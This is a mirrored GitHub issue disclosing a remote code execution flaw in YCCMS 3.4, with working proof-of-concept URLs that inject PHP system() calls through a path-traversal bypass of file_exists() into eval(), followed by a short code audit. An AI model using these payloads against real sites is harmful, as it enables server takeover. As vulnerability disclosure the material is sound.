Giter Club home page Giter Club logo

expolit's People

Watchers

 avatar

expolit's Issues

YCCMS 3.4 /admin/index.php and /config/count.php Code execution vulnerability

1.Vulnerability describes

Detection object:

(1) website name: YCCMS system V3.4

(2) website domain name: http://www.yccms.net/

(3) the download address: http://www.yccms.net/YCCMS_free.rar

(4) version: YCCMS system V3.4

Detection time:

April 28, 2020

Description of vulnerability:

YCCMS 3.4 /admin/index.php and /config/count.php Code execution vulnerability
图片

2.POC and verification

Local construction environment:

POC:
http://localhost/admin/index.php?a=Factory();system(%22ping%208.8.8.8%22);phpinfo();//../
图片
http://localhost/config/count.php?a=Factory();system("dir c:");phpinfo();//../
图片

Code audit:
Vulnerable php file:Factory.class.php
图片
The setAction () method first calls the getA () method to obtain the a parameter for jump check operation, then the file_exists () function checks whether the page file exists, and finally calls eval () to execute the PHP code.
The role of file_exists () is to check whether the file exists,The function allows some special characters in the path, and will return to the superior directory when it encounters /… /, you can use this strategy to jump out of the file_exists () function check.
Then we can get the payload:Factory();phpinfo();//../

/config/run.inc.php Instantiated this class,/admin/index.php and /config/count.php contain the file.
So we can use the payload to execute the code like the picture above.
图片
图片

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.